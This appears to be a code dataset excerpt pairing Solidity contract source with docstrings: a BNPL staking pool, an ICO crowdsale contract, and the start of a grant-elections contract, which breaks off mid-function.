(poolTokenEffectiveSupply > 0 ? poolTokenEffectiveSupply : 1);
}
/// @dev issue `amount` amount of unlocked tokens to user `user`
/// @return baseTokensOut
function _issueUnlockedTokensToUser(address user, uint256 amount) internal override returns (uint256) {
require(
amount != 0 && amount <= poolTokenEffectiveSupply,
"poolTokenAmount cannot be 0 or more than circulating"
);
require(poolTokenEffectiveSupply != 0, "poolTokenEffectiveSupply must not be 0");
require(getPoolTotalAssetsValue() != 0, "total asset value must not be 0");
uint256 baseTokensOut = getPoolWithdrawConversion(amount);
poolTokenEffectiveSupply -= amount;
require(baseTokenBalance >= baseTokensOut, "base tokens balance must be >= out");
baseTokenBalance -= baseTokensOut;
TransferHelper.safeTransfer(address(BASE_LIQUIDITY_TOKEN), user, baseTokensOut);
emit Unstake(user, baseTokensOut, amount);
return baseTokensOut;
}
/// @dev Remove liquidity tokens from the liquidity pool and lock these tokens for `unstakeLockupPeriod` duration
function _removeLiquidityAndLock(
address user,
uint256 poolTokensToConsume,
uint256 unstakeLockupPeriod
) internal returns (uint256) {
require(unstakeLockupPeriod != 0, "lockup period cannot be 0");
require(user != address(this) && user != address(0), "invalid user");
require(
poolTokensToConsume > 0 && poolTokensToConsume <= poolTokenEffectiveSupply,
"poolTokenAmount cannot be 0 or more than circulating"
);
require(poolTokenEffectiveSupply != 0, "poolTokenEffectiveSupply must not be 0");
POOL_LIQUIDITY_TOKEN.burnFrom(user, poolTokensToConsume);
_createTokenLockup(user, poolTokensToConsume, uint64(block.timestamp + unstakeLockupPeriod), true);
return 0;
}
/// @dev Mint `mintAmount` amount pool token to `user` address
function _mintPoolTokensForUser(address user, uint256 mintAmount) private {
require(user != address(0), "user cannot be null");
require(mintAmount != 0, "mint amount cannot be 0");
uint256 newMintTokensCirculating = poolTokenEffectiveSupply + mintAmount;
poolTokenEffectiveSupply = newMintTokensCirculating;
POOL_LIQUIDITY_TOKEN.mint(user, mintAmount);
require(poolTokenEffectiveSupply == newMintTokensCirculating);
}
/// @dev Handle donate tokens
function _processDonation(
address sender,
uint256 depositAmount,
bool countedIntoTotal
) private {
require(sender != address(this) && sender != address(0), "invalid sender");
require(depositAmount != 0, "depositAmount cannot be 0");
require(poolTokenEffectiveSupply != 0, "poolTokenEffectiveSupply must not be 0");
TransferHelper.safeTransferFrom(address(BASE_LIQUIDITY_TOKEN), sender, address(this), depositAmount);
baseTokenBalance += depositAmount;
if (countedIntoTotal) {
totalDonatedAllTime += depositAmount;
}
emit Donation(sender, depositAmount);
}
/// @dev Handle bond tokens
function _processBondTokens(address sender, uint256 depositAmount) private {
require(sender != address(this) && sender != address(0), "invalid sender");
require(depositAmount != 0, "depositAmount cannot be 0");
require(poolTokenEffectiveSupply != 0, "poolTokenEffectiveSupply must not be 0");
TransferHelper.safeTransferFrom(address(BASE_LIQUIDITY_TOKEN), sender, address(this), depositAmount);
uint256 selfMint = getPoolDepositConversion(depositAmount);
_mintPoolTokensForUser(address(this), selfMint);
virtualPoolTokensCount += selfMint;
baseTokenBalance += depositAmount;
tokensBondedAllTime += depositAmount;
emit Bond(sender, depositAmount);
}
/// @dev Handle unbond tokens
function _processUnbondTokens(address sender) private {
require(sender != address(this) && sender != address(0), "invalid sender");
require(bankNode.onGoingLoanCount() == 0, "Cannot unbond, there are ongoing loans");
uint256 pTokens = POOL_LIQUIDITY_TOKEN.balanceOf(address(this));
uint256 totalBonded = getPoolWithdrawConversion(pTokens);
require(totalBonded != 0, "Insufficient bonded amount");
TransferHelper.safeTransfer(address(BASE_LIQUIDITY_TOKEN), sender, totalBonded);
POOL_LIQUIDITY_TOKEN.burn(pTokens);
poolTokenEffectiveSupply -= pTokens;
virtualPoolTokensCount -= pTokens;
baseTokenBalance -= totalBonded;
emit Unbond(sender, totalBonded);
}
/// @dev This function is called when poolTokenEffectiveSupply is zero
///
/// @param user The address of user
/// @param depositAmount Deposit tokens amount
/// @return poolTokensOut The output pool token amount
function _setupLiquidityFirst(address user, uint256 depositAmount) private returns (uint256) {
require(user != address(this) && user != address(0), "invalid user");
require(depositAmount != 0, "depositAmount cannot be 0");
require(poolTokenEffectiveSupply == 0, "poolTokenEffectiveSupply must be 0");
uint256 totalAssetValue = getPoolTotalAssetsValue();
TransferHelper.safeTransferFrom(address(BASE_LIQUIDITY_TOKEN), user, address(this), depositAmount);
require(poolTokenEffectiveSupply == 0, "poolTokenEffectiveSupply must be 0");
require(getPoolTotalAssetsValue() == totalAssetValue, "total asset value must not change");
baseTokenBalance += depositAmount;
uint256 newTotalAssetValue = getPoolTotalAssetsValue();
require(newTotalAssetValue != 0 && newTotalAssetValue >= depositAmount);
uint256 poolTokensOut = newTotalAssetValue;
_mintPoolTokensForUser(user, poolTokensOut);
emit Stake(user, depositAmount, poolTokensOut);
return poolTokensOut;
}
/// @dev This function is called when poolTokenEffectiveSupply great than zero
///
/// @param user The address of user
/// @param depositAmount Deposit tokens amount
/// @return poolTokensOut The output pool token amount
function _addLiquidityNormal(address user, uint256 depositAmount) private returns (uint256) {
require(user != address(this) && user != address(0), "invalid user");
require(depositAmount != 0, "depositAmount cannot be 0");
require(poolTokenEffectiveSupply != 0, "poolTokenEffectiveSupply must not be 0");
require(getPoolTotalAssetsValue() != 0, "total asset value must not be 0");
TransferHelper.safeTransferFrom(address(BASE_LIQUIDITY_TOKEN), user, address(this), depositAmount);
require(poolTokenEffectiveSupply != 0, "poolTokenEffectiveSupply cannot be 0");
uint256 totalAssetValue = getPoolTotalAssetsValue();
require(totalAssetValue != 0, "total asset value cannot be 0");
uint256 poolTokensOut = getPoolDepositConversion(depositAmount);
baseTokenBalance += depositAmount;
_mintPoolTokensForUser(user, poolTokensOut);
emit Stake(user, depositAmount, poolTokensOut);
return poolTokensOut;
}
/// @dev Add liquidity tokens to liquidity pools
///
/// @param user The address of user
/// @param depositAmount Deposit tokens amount
/// @return poolTokensOut The output pool token amount
function _addLiquidity(address user, uint256 depositAmount) private returns (uint256) {
require(user != address(this) && user != address(0), "invalid user");
require(!isNodeDecomissioning(), "BankNode bonded amount is less than 75% of the minimum");
require(depositAmount != 0, "depositAmount cannot be 0");
if (poolTokenEffectiveSupply == 0) {
return _setupLiquidityFirst(user, depositAmount);
} else {
return _addLiquidityNormal(user, depositAmount);
}
}
/// @dev Remove liquidity tokens from the liquidity pool
function _removeLiquidityNoLockup(address user, uint256 poolTokensToConsume) private returns (uint256) {
require(user != address(this) && user != address(0), "invalid user");
require(
poolTokensToConsume != 0 && poolTokensToConsume <= poolTokenEffectiveSupply,
"poolTokenAmount cannot be 0 or more than circulating"
);
require(poolTokenEffectiveSupply != 0, "poolTokenEffectiveSupply must not be 0");
require(getPoolTotalAssetsValue() != 0, "total asset value must not be 0");
uint256 baseTokensOut = getPoolWithdrawConversion(poolTokensToConsume);
poolTokenEffectiveSupply -= poolTokensToConsume;
require(baseTokenBalance >= baseTokensOut, "base tokens balance must be >= out");
TransferHelper.safeTransferFrom(address(POOL_LIQUIDITY_TOKEN), user, address(this), poolTokensToConsume);
require(baseTokenBalance >= baseTokensOut, "base tokens balance must be >= out");
baseTokenBalance -= baseTokensOut;
TransferHelper.safeTransfer(address(BASE_LIQUIDITY_TOKEN), user, baseTokensOut);
emit Unstake(user, baseTokensOut, poolTokensToConsume);
return baseTokensOut;
}
/// @dev Remove liquidity tokens from liquidity pools
function _removeLiquidity(address user, uint256 poolTokensToConsume) internal returns (uint256) {
require(poolTokensToConsume != 0, "poolTokensToConsume cannot be 0");
uint256 unstakeLockupPeriod = getUnstakeLockupPeriod();
if (unstakeLockupPeriod == 0) {
return _removeLiquidityNoLockup(user, poolTokensToConsume);
} else {
return _removeLiquidityAndLock(user, poolTokensToConsume, unstakeLockupPeriod);
}
}
/// @notice Allows a user to donate `donateAmount` of BNPL to the pool (user must first approve)
/// @param donateAmount The donate amount of BNPL
function donate(uint256 donateAmount) external override nonReentrant {
require(donateAmount != 0, "donateAmount cannot be 0");
_processDonation(msg.sender, donateAmount, true);
}
/// @notice Allows a user to donate `donateAmount` of BNPL to the pool (not conted in total) (user must first approve)
/// @param donateAmount The donate amount of BNPL
function donateNotCountedInTotal(uint256 donateAmount) external override nonReentrant {
require(donateAmount != 0, "donateAmount cannot be 0");
_processDonation(msg.sender, donateAmount, false);
}
/// @notice Allows a user to bond `bondAmount` of BNPL to the pool (user must first approve)
///
/// - PRIVILEGES REQUIRED:
/// Admins with the role "NODE_REWARDS_MANAGER_ROLE"
///
/// @param bondAmount The bond amount of BNPL
function bondTokens(uint256 bondAmount) external override nonReentrant onlyRole(NODE_REWARDS_MANAGER_ROLE) {
require(bondAmount != 0, "bondAmount cannot be 0");
_processBondTokens(msg.sender, bondAmount);
}
/// @notice Allows a user to unbond BNPL from the pool
///
/// - PRIVILEGES REQUIRED:
/// Admins with the role "NODE_REWARDS_MANAGER_ROLE"
///
function unbondTokens() external override nonReentrant onlyRole(NODE_REWARDS_MANAGER_ROLE) {
_processUnbondTokens(msg.sender);
}
/// @notice Allows a user to stake `stakeAmount` of BNPL to the pool (user must first approve)
/// @param stakeAmount Stake token amount
function stakeTokens(uint256 stakeAmount) external override nonReentrant {
require(
bnplKYCStore.checkUserBasicBitwiseMode(kycDomainId, msg.sender, BNPL_STAKER_NEEDS_KYC) == 1,
"borrower needs kyc"
);
require(stakeAmount != 0, "stakeAmount cannot be 0");
_addLiquidity(msg.sender, stakeAmount);
}
/// @notice Allows a user to unstake `unstakeAmount` of BNPL from the pool (puts it into a lock up for a 7 day cool down period)
/// @param unstakeAmount Unstake token amount
function unstakeTokens(uint256 unstakeAmount) external override nonReentrant {
require(unstakeAmount != 0, "unstakeAmount cannot be 0");
_removeLiquidity(msg.sender, unstakeAmount);
}
/// @dev Handle slash
function _slash(uint256 slashAmount, address recipient) private {
require(slashAmount < getPoolTotalAssetsValue(), "cannot slash more than the pool balance");
baseTokenBalance -= slashAmount;
totalSlashedAllTime += slashAmount;
TransferHelper.safeTransfer(address(BASE_LIQUIDITY_TOKEN), recipient, slashAmount);
emit Slash(recipient, slashAmount);
}
/// @notice Allows an authenticated contract/user (in this case, only BNPLBankNode) to slash `slashAmount` of BNPL from the pool
///
/// - PRIVILEGES REQUIRED:
/// Admins with the role "SLASHER_ROLE"
///
/// @param slashAmount The slash amount
function slash(uint256 slashAmount) external override onlyRole(SLASHER_ROLE) nonReentrant {
_slash(slashAmount, msg.sender);
}
/// @notice Claim node owner pool BNPL token rewards
/// @return rewards Claimed reward pool token amount
function getNodeOwnerPoolTokenRewards() public view override returns (uint256) {
uint256 equivalentPoolTokens = getPoolDepositConversion(tokensBondedAllTime);
uint256 ownerPoolTokens = POOL_LIQUIDITY_TOKEN.balanceOf(address(this));
if (ownerPoolTokens > equivalentPoolTokens) {
return ownerPoolTokens - equivalentPoolTokens;
}
return 0;
}
/// @notice Claim node owner BNPL token rewards
/// @return rewards Claimed reward BNPL token amount
function getNodeOwnerBNPLRewards() external view override returns (uint256) {
uint256 rewardsAmount = getNodeOwnerPoolTokenRewards();
if (rewardsAmount != 0) {
return getPoolWithdrawConversion(rewardsAmount);
}
return 0;
}
/// @notice Claim node owner pool token rewards to address `to`
///
/// - PRIVILEGES REQUIRED:
/// Admins with the role "NODE_REWARDS_MANAGER_ROLE"
///
/// @param to Address to receive rewards
function claimNodeOwnerPoolTokenRewards(address to)
external
override
onlyRole(NODE_REWARDS_MANAGER_ROLE)
nonReentrant
{
uint256 poolTokenRewards = getNodeOwnerPoolTokenRewards();
require(poolTokenRewards > 0, "cannot claim 0 rewards");
virtualPoolTokensCount -= poolTokenRewards;
POOL_LIQUIDITY_TOKEN.transfer(to, poolTokenRewards);
}
/// @notice Calculates the amount of BNPL to slash from the pool given a Bank Node loss of `nodeLoss`
/// with a previous balance of `prevNodeBalance` and the current pool balance containing `poolBalance` BNPL.
///
/// @param prevNodeBalance The bank node previous balance
/// @param nodeLoss The bank node loss
/// @param poolBalance The bank node current pool balance
/// @return SlashAmount Calculated slash amount
function calculateSlashAmount(
uint256 prevNodeBalance,
uint256 nodeLoss,
uint256 poolBalance
) external pure returns (uint256) {
uint256 slashRatio = (nodeLoss * PRBMathUD60x18.scale()).div(prevNodeBalance * PRBMathUD60x18.scale());
return (poolBalance * slashRatio) / PRBMathUD60x18.scale();
}
/// @notice Claim the next token lockup vault they have locked up in the contract.
///
/// @param user The address of user
/// @return claimTokenLockup claim token lockup amount
function claimTokenLockup(address user) external nonReentrant returns (uint256) {
return _claimNextTokenLockup(user);
}
/// @notice Claim the next token lockup vaults they have locked up in the contract.
///
/// @param user The address of user
/// @param maxNumberOfClaims The max number of claims
/// @return claimTokenNextNLockups claim token amount next N lockups
function claimTokenNextNLockups(address user, uint32 maxNumberOfClaims) external nonReentrant returns (uint256) {
return _claimUpToNextNTokenLockups(user, maxNumberOfClaims);
}
/// @notice Allows rewards manager to unlock lending token interest.
///
/// - PRIVILEGES REQUIRED:
/// Admins with the role "NODE_REWARDS_MANAGER_ROLE"
///
/// - Distribute dividends can only be done after unlocking the lending token interest
function unlockLendingTokenInterest() external onlyRole(NODE_REWARDS_MANAGER_ROLE) nonReentrant {
bankNode.rewardToken().cooldown();
}
/// @notice Distribute dividends with token interest
///
/// - PRIVILEGES REQUIRED:
/// Admins with the role "NODE_REWARDS_MANAGER_ROLE"
///
function distributeDividends() external onlyRole(NODE_REWARDS_MANAGER_ROLE) nonReentrant {
bankNode.rewardToken().claimRewards(address(this), type(uint256).max);
uint256 rewardTokenAmount = IERC20(address(bankNode.rewardToken())).balanceOf(address(this));
require(rewardTokenAmount > 0, "rewardTokenAmount must be > 0");
TransferHelper.safeApprove(address(bankNode.rewardToken()), address(bankNode.rewardToken()), rewardTokenAmount);
bankNode.rewardToken().redeem(address(this), rewardTokenAmount);
IERC20 swapToken = IERC20(bankNode.rewardToken().REWARD_TOKEN());
uint256 donateAmount = bankNode.bnplSwapMarket().swapExactTokensForTokens(
swapToken.balanceOf(address(this)),
0,
BankNodeUtils.getSwapExactTokensPath(address(swapToken), address(BASE_LIQUIDITY_TOKEN)),
address(this),
block.timestamp
)[2];
require(donateAmount > 0, "swap amount must be > 0");
TransferHelper.safeApprove(address(BASE_LIQUIDITY_TOKEN), address(this), donateAmount);
_processDonation(msg.sender, donateAmount, false);
}
}
| Returns unstake lockup period return unstakeLockupPeriod | function getUnstakeLockupPeriod() public pure override returns (uint256) {
return 7 days;
}
| 13,104,766 |
pragma solidity ^0.4.15;
// File: zeppelin-solidity/contracts/token/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/LockableToken.sol
contract LockableToken is ERC20 {
function addToTimeLockedList(address addr) external returns (bool);
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/PricingStrategy.sol
contract PricingStrategy {
using SafeMath for uint;
uint[] public rates;
uint[] public limits;
function PricingStrategy(
uint[] _rates,
uint[] _limits
) public
{
require(_rates.length == _limits.length);
rates = _rates;
limits = _limits;
}
/** Interface declaration. */
function isPricingStrategy() public view returns (bool) {
return true;
}
/** Calculate the current price for buy in amount. */
function calculateTokenAmount(uint weiAmount, uint weiRaised) public view returns (uint tokenAmount) {
if (weiAmount == 0) {
return 0;
}
var (rate, index) = currentRate(weiRaised);
tokenAmount = weiAmount.mul(rate);
// if we crossed slot border, recalculate remaining tokens according to next slot price
if (weiRaised.add(weiAmount) > limits[index]) {
uint currentSlotWei = limits[index].sub(weiRaised);
uint currentSlotTokens = currentSlotWei.mul(rate);
uint remainingWei = weiAmount.sub(currentSlotWei);
tokenAmount = currentSlotTokens.add(calculateTokenAmount(remainingWei, limits[index]));
}
}
function currentRate(uint weiRaised) public view returns (uint rate, uint8 index) {
rate = rates[0];
index = 0;
while (weiRaised >= limits[index]) {
rate = rates[++index];
}
}
}
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/lifecycle/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
// File: zeppelin-solidity/contracts/ownership/Contactable.sol
/**
* @title Contactable token
* @dev Basic version of a contactable contract, allowing the owner to provide a string with their
* contact information.
*/
contract Contactable is Ownable{
string public contactInformation;
/**
* @dev Allows the owner to set a string with their contact information.
* @param info The contact information to attach to the contract.
*/
function setContactInformation(string info) onlyOwner public {
contactInformation = info;
}
}
// File: contracts/Sale.sol
/**
* @title Sale
* @dev Sale is a contract for managing a token crowdsale.
* Sales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
contract Sale is Pausable, Contactable {
using SafeMath for uint;
// The token being sold
LockableToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint public startTime;
uint public endTime;
// address where funds are collected
address public wallet;
// the contract, which determine how many token units a buyer gets per wei
PricingStrategy public pricingStrategy;
// amount of raised money in wei
uint public weiRaised;
// amount of tokens that was sold on the crowdsale
uint public tokensSold;
// maximum amount of wei in total, that can be invested
uint public weiMaximumGoal;
// if weiMinimumGoal will not be reached till endTime, investors will be able to refund ETH
uint public weiMinimumGoal;
// minimal amount of ether, that investor can invest
uint public minAmount;
// How many distinct addresses have invested
uint public investorCount;
// how much wei we have returned back to the contract after a failed crowdfund
uint public loadedRefund;
// how much wei we have given back to investors
uint public weiRefunded;
//How much ETH each address has invested to this crowdsale
mapping (address => uint) public investedAmountOf;
// Addresses that are allowed to invest before ICO offical opens
mapping (address => bool) public earlyParticipantWhitelist;
// whether a buyer bought tokens through other currencies
mapping (address => bool) public isExternalBuyer;
address public admin;
modifier onlyOwnerOrAdmin() {
require(msg.sender == owner || msg.sender == admin);
_;
}
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param tokenAmount amount of tokens purchased
*/
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint value,
uint tokenAmount
);
// a refund was processed for an investor
event Refund(address investor, uint weiAmount);
function Sale(
uint _startTime,
uint _endTime,
PricingStrategy _pricingStrategy,
LockableToken _token,
address _wallet,
uint _weiMaximumGoal,
uint _weiMinimumGoal,
uint _minAmount
) {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_pricingStrategy.isPricingStrategy());
require(address(_token) != 0x0);
require(_wallet != 0x0);
require(_weiMaximumGoal > 0);
require(_weiMinimumGoal > 0);
startTime = _startTime;
endTime = _endTime;
pricingStrategy = _pricingStrategy;
token = _token;
wallet = _wallet;
weiMaximumGoal = _weiMaximumGoal;
weiMinimumGoal = _weiMinimumGoal;
minAmount = _minAmount;
}
// fallback function can be used to buy tokens
function () external payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public whenNotPaused payable returns (bool) {
uint weiAmount = msg.value;
require(beneficiary != 0x0);
require(validPurchase(weiAmount));
transferTokenToBuyer(beneficiary, weiAmount);
wallet.transfer(weiAmount);
return true;
}
function transferTokenToBuyer(address beneficiary, uint weiAmount) internal {
if (investedAmountOf[beneficiary] == 0) {
// A new investor
investorCount++;
}
// calculate token amount to be created
uint tokenAmount = pricingStrategy.calculateTokenAmount(weiAmount, weiRaised);
investedAmountOf[beneficiary] = investedAmountOf[beneficiary].add(weiAmount);
weiRaised = weiRaised.add(weiAmount);
tokensSold = tokensSold.add(tokenAmount);
token.transferFrom(owner, beneficiary, tokenAmount);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokenAmount);
}
// return true if the transaction can buy tokens
function validPurchase(uint weiAmount) internal view returns (bool) {
bool withinPeriod = (now >= startTime || earlyParticipantWhitelist[msg.sender]) && now <= endTime;
bool withinCap = weiRaised.add(weiAmount) <= weiMaximumGoal;
bool moreThenMinimal = weiAmount >= minAmount;
return withinPeriod && withinCap && moreThenMinimal;
}
// return true if crowdsale event has ended
function hasEnded() external view returns (bool) {
bool capReached = weiRaised >= weiMaximumGoal;
bool afterEndTime = now > endTime;
return capReached || afterEndTime;
}
// get the amount of unsold tokens allocated to this contract;
function getWeiLeft() external view returns (uint) {
return weiMaximumGoal - weiRaised;
}
// return true if the crowdsale has raised enough money to be a successful.
function isMinimumGoalReached() public view returns (bool) {
return weiRaised >= weiMinimumGoal;
}
/**
* allows to add and exclude addresses from earlyParticipantWhitelist for owner
* @param isWhitelisted is true for adding address into whitelist, false - to exclude
*/
function editEarlyParicipantWhitelist(address addr, bool isWhitelisted) external onlyOwnerOrAdmin returns (bool) {
earlyParticipantWhitelist[addr] = isWhitelisted;
return true;
}
// allows to update tokens rate for owner
function setPricingStrategy(PricingStrategy _pricingStrategy) external onlyOwner returns (bool) {
pricingStrategy = _pricingStrategy;
return true;
}
/**
* Allow load refunds back on the contract for the refunding.
*
* The team can transfer the funds back on the smart contract in the case the minimum goal was not reached..
*/
function loadRefund() external payable {
require(msg.value > 0);
require(!isMinimumGoalReached());
loadedRefund = loadedRefund.add(msg.value);
}
/**
* Investors can claim refund.
*
* Note that any refunds from proxy buyers should be handled separately,
* and not through this contract.
*/
function refund() external {
uint256 weiValue = investedAmountOf[msg.sender];
require(!isMinimumGoalReached() && loadedRefund > 0);
require(!isExternalBuyer[msg.sender]);
require(weiValue > 0);
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.add(weiValue);
Refund(msg.sender, weiValue);
msg.sender.transfer(weiValue);
}
function registerPayment(address beneficiary, uint weiAmount) external onlyOwnerOrAdmin {
require(validPurchase(weiAmount));
isExternalBuyer[beneficiary] = true;
transferTokenToBuyer(beneficiary, weiAmount);
}
function setAdmin(address adminAddress) external onlyOwner {
admin = adminAddress;
}
} | low level token purchase function | function buyTokens(address beneficiary) public whenNotPaused payable returns (bool) {
uint weiAmount = msg.value;
require(beneficiary != 0x0);
require(validPurchase(weiAmount));
transferTokenToBuyer(beneficiary, weiAmount);
wallet.transfer(weiAmount);
return true;
}
| 14,083,397 |
pragma solidity >=0.7.0 <=0.8.3;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "./Interfaces/IStaking.sol";
import "./Interfaces/IBeneficiaryRegistry.sol";
import "./Interfaces/IBeneficiaryVaults.sol";
import "./Interfaces/IRandomNumberConsumer.sol";
import "./Interfaces/IRegion.sol";
import "./Governed.sol";
import "./ParticipationReward.sol";
contract GrantElections is ParticipationReward {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct Vote {
address voter;
address beneficiary;
uint256 weight;
}
struct Election {
Vote[] votes;
mapping(address => bool) registeredBeneficiaries;
mapping(address => bool) voters;
address[] registeredBeneficiariesList;
ElectionTerm electionTerm;
ElectionState electionState;
ElectionConfiguration electionConfiguration;
uint256 startTime;
uint256 randomNumber;
bytes32 merkleRoot;
bytes32 vaultId;
bytes2 region;
}
struct ElectionConfiguration {
uint8 ranking;
uint8 awardees;
bool useChainLinkVRF;
uint256 registrationPeriod;
uint256 votingPeriod;
uint256 cooldownPeriod;
BondRequirements bondRequirements;
uint256 finalizationIncentive;
bool enabled;
ShareType shareType;
}
struct BondRequirements {
bool required;
uint256 amount;
}
enum ShareType {
EqualWeight,
DynamicWeight
}
enum ElectionTerm {
Monthly,
Quarterly,
Yearly
}
enum ElectionState {
Registration,
Voting,
Closed,
FinalizationProposed,
Finalized
}
/* ========== STATE VARIABLES ========== */
IRegion internal region;
IStaking internal staking;
IBeneficiaryRegistry internal beneficiaryRegistry;
IRandomNumberConsumer internal randomNumberConsumer;
Election[] public elections;
mapping(bytes2 => uint256[3]) public activeElections;
ElectionConfiguration[3] public electionDefaults;
uint256 public incentiveBudget;
mapping(address => bool) public proposer;
mapping(address => bool) public approver;
/* ========== EVENTS ========== */
event BeneficiaryRegistered(address _beneficiary, uint256 _electionId);
event UserVoted(address _user, ElectionTerm _term);
event ElectionInitialized(
ElectionTerm _term,
bytes2 _region,
uint256 _startTime
);
event FinalizationProposed(uint256 _electionId, bytes32 _merkleRoot);
event ElectionFinalized(uint256 _electionId, bytes32 _merkleRoot);
event ProposerAdded(address proposer);
event ProposerRemoved(address proposer);
event ApproverAdded(address approver);
event ApproverRemoved(address approver);
/* ========== CONSTRUCTOR ========== */
constructor(
IStaking _staking,
IBeneficiaryRegistry _beneficiaryRegistry,
IRandomNumberConsumer _randomNumberConsumer,
IERC20 _pop,
IRegion _region,
address _governance
) ParticipationReward(_pop, _governance) {
staking = _staking;
beneficiaryRegistry = _beneficiaryRegistry;
randomNumberConsumer = _randomNumberConsumer;
region = _region;
_setDefaults();
}
/* ========== VIEWS ========== */
function getElectionMetadata(uint256 _electionId)
public
view
returns (
Vote[] memory votes_,
ElectionTerm term_,
address[] memory registeredBeneficiaries_,
ElectionState state_,
uint8[2] memory awardeesRanking_,
bool useChainLinkVRF_,
uint256[3] memory periods_,
uint256 startTime_,
BondRequirements memory bondRequirements_,
ShareType shareType_,
uint256 randomNumber_
)
{
Election storage e = elections[_electionId];
votes_ = e.votes;
term_ = e.electionTerm;
registeredBeneficiaries_ = e.registeredBeneficiariesList;
state_ = e.electionState;
awardeesRanking_ = [
e.electionConfiguration.awardees,
e.electionConfiguration.ranking
];
useChainLinkVRF_ = e.electionConfiguration.useChainLinkVRF;
periods_ = [
e.electionConfiguration.cooldownPeriod,
e.electionConfiguration.registrationPeriod,
e.electionConfiguration.votingPeriod
];
startTime_ = e.startTime;
bondRequirements_ = e.electionConfiguration.bondRequirements;
shareType_ = e.electionConfiguration.shareType;
randomNumber_ = e.randomNumber;
}
function electionEnabled(uint256 _electionId) public view returns (bool) {
return elections[_electionId].electionConfiguration.enabled;
}
function getElectionMerkleRoot(uint256 _electionId)
public
view
returns (bytes32 merkleRoot)
{
return elections[_electionId].merkleRoot;
}
function getRegisteredBeneficiaries(uint256 _electionId)
public
view
returns (address[] memory beneficiaries)
{
return elections[_electionId].registeredBeneficiariesList;
}
function _isEligibleBeneficiary(address _beneficiary, uint256 _electionId)
public
view
returns (bool)
{
return
elections[_electionId].registeredBeneficiaries[_beneficiary] &&
beneficiaryRegistry.beneficiaryExists(_beneficiary);
}
/* ========== MUTATIVE FUNCTIONS ========== */
// todo: mint POP for caller to incentivize calling function
// todo: use bonds to incentivize callers instead of minting
function initialize(ElectionTerm _grantTerm, bytes2 _region) public {
require(region.regionExists(_region), "region doesnt exist");
uint8 _term = uint8(_grantTerm);
if (elections.length != 0) {
Election storage latestElection = elections[
activeElections[_region][_term]
];
if (
latestElection.electionTerm == _grantTerm &&
latestElection.startTime != 0
) {
require(
latestElection.electionState == ElectionState.Finalized,
"election not yet finalized"
);
require(
block.timestamp.sub(latestElection.startTime) >=
latestElection.electionConfiguration.cooldownPeriod,
"can't start new election, not enough time elapsed since last election"
);
}
}
address beneficiaryVault = region.regionVaults(_region);
if (IBeneficiaryVaults(beneficiaryVault).vaultExists(_term)) {
IBeneficiaryVaults(beneficiaryVault).closeVault(_term);
}
uint256 electionId = elections.length;
activeElections[_region][_term] = electionId;
elections.push();
Election storage election = elections[electionId];
election.electionConfiguration = electionDefaults[_term];
election.electionState = ElectionState.Registration;
election.electionTerm = _grantTerm;
election.startTime = block.timestamp;
election.region = _region;
(bool vaultCreated, bytes32 vaultId) = _initializeVault(
keccak256(abi.encodePacked(_term, block.timestamp)),
block.timestamp.add(electionDefaults[_term].registrationPeriod).add(
